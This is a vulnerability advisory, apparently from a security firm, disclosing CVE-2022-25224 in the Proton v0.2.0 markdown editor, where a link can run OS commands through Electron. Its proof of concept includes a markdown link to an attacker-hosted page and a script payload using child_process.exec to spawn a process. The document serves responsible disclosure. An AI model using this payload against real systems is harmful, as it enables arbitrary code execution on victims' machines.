Proton v0.2.0 - XSS To RCE

Summary

Name	Proton v0.2.0 - XSS To RCE

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

State	Public
Release date	2022-05-17

Vulnerability

Kind	XSS to RCE
Rule	010. Stored cross-site scripting (XSS)
Remote	No
CVSSv3 Vector	CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N
CVSSv3 Base Score	7.1
Exploit available	No
CVE ID(s)	CVE-2022-25224

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

which allows the webpage to use `NodeJs` features, an attacker can leverage this to run OS commands.

Proof of Concept

Steps to reproduce

1. Create a markdown file with the following content.

```
[Click me!!!](http://192.168.1.67:8002/rce.html)
```

2. Host the `rce.html` file with the following content on a server controlled by the attacker.

```
<script>
    require('child_process').exec('calc');
</script>
```

3. Send the markdown file to the victim. When the victim clicks the markdown link the site will be open inside electron and the JavaScript code will spawn a calculator.

System Information

- Version: Proton v0.2.0.
- Operating System: Windows 10.0.19042 N/A Build 19042.

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

Mitigation

By 2022-05-17 there is not a patch resolving the issue.

Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of `Fluid Attacks`.

References

Vendor page https://github.com/steventhanna/proton/

Timeline

- 2022-04-29
  Vulnerability discovered.
- 2022-04-29
  Vendor contacted.
- 2022-05-17
  Public Disclosure.

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

Services

Continuous Hacking

One-shot Hacking

Comparative

Solutions

DevSecOps

Secure Code Review

Red Teaming

Breach and Attack Simulation

Security Testing

Penetration Testing

Ethical Hacking

Vulnerability Management

Blog

Certifications

Partners

Careers

Advisories

FAQ

Documentation

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details